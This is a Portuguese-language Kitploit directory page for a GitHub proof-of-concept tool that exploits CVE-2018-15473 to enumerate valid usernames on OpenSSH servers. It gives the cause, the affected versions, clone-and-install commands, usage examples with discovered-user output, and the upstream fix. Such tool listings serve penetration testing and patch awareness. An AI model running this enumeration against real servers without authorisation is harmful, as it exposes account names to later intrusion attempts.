Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-15473 — Ferramenta de enumeração de nomes de usuário SSH que explora a CVE-2018-15473 para identificar usuários válidos em servidores OpenSSH através de bypass de autenticação baseado em tempo. | Kitploit
Ferramentas/GitHubGitHub/1stpeak/cve-2018-15473
ReconhecimentoAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança de RedeTestes de Penetração
GitHub1stpeak/cve-2018-15473

CVE-2018-15473

Ferramenta de enumeração de nomes de usuário SSH que explora a CVE-2018-15473 para identificar usuários válidos em servidores OpenSSH através de bypass de autenticação baseado em tempo.

Ver Repositório
há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-15473

Causa

O servidor OpenSSH não atrasa o processamento de um usuário de autenticação inválida antes de analisar completamente o pacote que contém a solicitação. Esta vulnerabilidade está relacionada a auth2-gss.c, auth2-hostbased.c, auth2-pubkey.c.

Exploração

Embora esta vulnerabilidade não possa ser usada para gerar uma lista de nomes de usuário válidos, ainda pode ser usada para enumerar e adivinhar nomes de usuário.

Versões Afetadas

OpenSSH <= 7.7

Versões não afetadas

openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27

Instalação do PoC

Você pode precisar instalar o pacote equivalente ao openssl-dev da sua distribuição

root@kitploit:~
# 注意：如果您在kali上安装，则可以跳过pip安装，只需执行下面第一二三行的步骤，因为paramiko已经存在。 
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt 
# 或者使用以下命令下载安装 
pipenv install -r requirements.txt  # if you're cool like that   
chmod u+x ssh-username-enum.py

Exemplo de Uso

Exemplo 1: Enumeração de usuário único

root@kitploit:~
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!

Exemplo 2: Enumeração de múltiplos usuários usando 10 threads (thread padrão é 4)

root@kitploit:~
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
etc

Exemplo 3: Endereço IPv6 e especificação da porta SSH

root@kitploit:~
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
etc

Solução

Recomenda-se que os usuários atualizem para a versão não afetada. E o projeto OpenBSD já lançou uma correção de código-fonte no seguinte link: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

Referências

https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/

Baixar ferramenta